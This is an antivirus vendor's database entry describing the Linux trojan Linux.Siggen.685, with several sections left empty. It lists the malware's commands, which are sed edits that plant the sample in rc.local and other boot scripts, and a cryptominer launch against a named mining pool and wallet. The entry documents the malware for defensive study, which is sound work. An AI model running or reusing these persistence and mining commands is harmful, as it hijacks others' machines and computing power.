Linux.Siggen.685

Added to the Dr.Web virus database: 2018-06-25

Virus description added: 2018-06-25

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c sed -i -e '/exit/d' /etc/rc.local
sed -i -e /exit/d /etc/rc.local
sh -c sed -i -e '/
sed -i -e /
sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
sed -i -e /<SAMPLE> reboot/d /etc/rc.local
sh -c sed -i -e '2 i<SAMPLE_FULL_PATH> reboot' /etc/rc.local
sed -i -e 2 i<SAMPLE_FULL_PATH> reboot /etc/rc.local
sh -c sed -i -e '2 i<SAMPLE_FULL_PATH> reboot start' /etc/rc.d/rc.local
sed -i -e 2 i<SAMPLE_FULL_PATH> reboot start /etc/rc.d/rc.local
sh -c sed -i -e '2 i<SAMPLE_FULL_PATH> reboot start' /etc/init.d/boot.local
sed -i -e 2 i<SAMPLE_FULL_PATH> reboot start /etc/init.d/boot.local
/bin/sh -c ./xxsdwak<SAMPLE> -B -o stratum+tcp://mine.ppxxmr.com:7777 -u 41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi -p x -k
./xxsdwak<SAMPLE> -B -o stratum+tcp://mine.ppxxmr.com:7777 -u 41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi -p x -k

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Network activity:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers: